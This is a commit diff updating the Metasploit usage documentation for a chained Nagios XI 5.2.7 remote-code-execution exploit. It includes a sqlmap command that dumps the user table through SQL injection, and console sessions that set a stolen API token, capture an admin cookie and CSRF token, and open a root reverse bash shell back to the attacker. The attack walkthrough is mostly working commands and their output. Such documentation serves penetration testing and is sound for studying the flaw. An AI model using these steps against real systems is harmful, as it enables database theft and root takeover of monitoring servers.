Skip to content

Commit b0cd28e

Browse files
committed
Update module docs
1 parent 3e8cdd1 commit b0cd28e

File tree

1 file changed

+21
-50
lines changed

1 file changed

+21
-50
lines changed

documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md

Lines changed: 21 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -30,15 +30,15 @@ anyway.
3030

3131
## Options
3232

33-
**USERID**
33+
**USER_ID**
3434

35-
If you wish to exploit a particular UserID, that can be specified here. Default is 1, which is most likely the admin account.
35+
If you wish to exploit a particular ```USER_ID```, that can be specified here. Default is 1, which is most likely the admin account.
3636

37-
**APITOKEN**
37+
**API_TOKEN**
3838

3939
The SQLi included only works for MySQL, which should work in most cases. However, if you experience a different backend, you can enumerate the user
40-
table via sqlmap: ```sqlmap -u "http://<ip>/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump```.
41-
Then you can set the UserID and APITOKEN to skip those phases and move on to exploitation. Default is empty. See example below for more usage.
40+
table via sqlmap: ```sqlmap -u "http://[ip]/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump```.
41+
Then you can set the ```USER_ID``` and ```API_TOKEN``` to skip those phases and move on to exploitation. Default is empty. See example below for more usage.
4242

4343
## Usage
4444

@@ -95,15 +95,15 @@ msf exploit(nagios_xi_chained_rce) > show options
9595
9696
Module options (exploit/linux/http/nagios_xi_chained_rce):
9797
98-
Name Current Setting Required Description
99-
---- --------------- -------- -----------
100-
APITOKEN no If an API Token was already stolen, skip the sqli
101-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
102-
RHOST 192.168.2.218 yes The target address
103-
RPORT 80 yes The target port
104-
SSL false no Negotiate SSL/TLS for outgoing connections
105-
USERID 1 yes User ID in the database to target
106-
VHOST no HTTP server virtual host
98+
Name Current Setting Required Description
99+
---- --------------- -------- -----------
100+
API_TOKEN no If an API token was already stolen, skip the SQLi
101+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
102+
RHOST 192.168.2.218 yes The target address
103+
RPORT 80 yes The target port
104+
SSL false no Negotiate SSL/TLS for outgoing connections
105+
USER_ID 1 yes User ID in the database to target
106+
VHOST no HTTP server virtual host
107107
108108
109109
Payload options (cmd/unix/reverse_bash):
@@ -146,22 +146,22 @@ Table: xi_users
146146
| 2 | admin2 | [email protected] | 1 | admin2 | c84258e9c39059a89ab77d846ddab909 | 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g |
147147
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
148148
149-
...sip...
149+
...snip...
150150
```
151151

152152
#### Re-target
153-
Now, we can set the UserID and APIToken (backend_ticket)
153+
Now, we can set the ```USER_ID``` and ```API_TOKEN``` (backend_ticket)
154154

155-
```msf exploit(nagios_xi_chained_rce) > set userid 2
156-
userid => 2
157-
msf exploit(nagios_xi_chained_rce) > set apitoken 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
158-
apitoken => 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
155+
```
156+
msf exploit(nagios_xi_chained_rce) > set USER_ID 2
157+
USER_ID => 2
158+
msf exploit(nagios_xi_chained_rce) > set API_TOKEN 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
159+
API_TOKEN => 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
159160
msf exploit(nagios_xi_chained_rce) > exploit
160161
161162
[*] Started reverse TCP handler on 192.168.2.117:4444
162163
[*] Nagios XI version: 5.2.7
163164
[*] Getting admin cookie
164-
[+] 2-tGRcLXmX-e1b4545976adf651e80a15c92200624d
165165
[+] Admin cookie: nagiosxi=rjs4f9k4299v78hpgq3374q6j6;
166166
[+] CSRF token: c53d1f591264a3ea771639a7782627f8
167167
[*] Getting monitored host
@@ -185,32 +185,3 @@ QajRDDToeigHGMFdUbaClxkLfJbxqBKv
185185
whoami
186186
root
187187
```
188-
189-
#### No APIToken
190-
Or if the backend is MySQL but we want to target a different user, we can simply just set the userid with no APIToken.
191-
192-
```
193-
msf exploit(nagios_xi_chained_rce) > set apitoken ''
194-
apitoken =>
195-
msf exploit(nagios_xi_chained_rce) > exploit
196-
197-
[*] Started reverse TCP handler on 192.168.2.117:4444
198-
[*] Nagios XI version: 5.2.7
199-
[*] Getting API token
200-
[+] API token: 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
201-
[*] Getting admin cookie
202-
[+] 2-zIajIKUA-e1b4545976adf651e80a15c92200624d
203-
[+] Admin cookie: nagiosxi=kjeqq7f074pgn61q8l27togtr3;
204-
[+] CSRF token: 05ab9c5c27d99e7c13821a3b43d0f5a6
205-
[*] Getting monitored host
206-
[+] Monitored host: localhost
207-
[*] Downloading component
208-
[*] Uploading root shell
209-
[*] Popping shell!
210-
[*] Command shell session 3 opened (192.168.2.117:4444 -> 192.168.2.218:51054) at 2016-10-10 10:17:12 -0400
211-
[*] Cleaning up...
212-
[*] rm -rf ../profile
213-
[*] unzip -qd .. ../../../../tmp/component-profile.zip
214-
[*] chown -R nagios:nagios ../profile
215-
[*] rm -f ../../../../tmp/component-xrnIbKdJ.zip
216-
```

0 commit comments

Comments
 (0)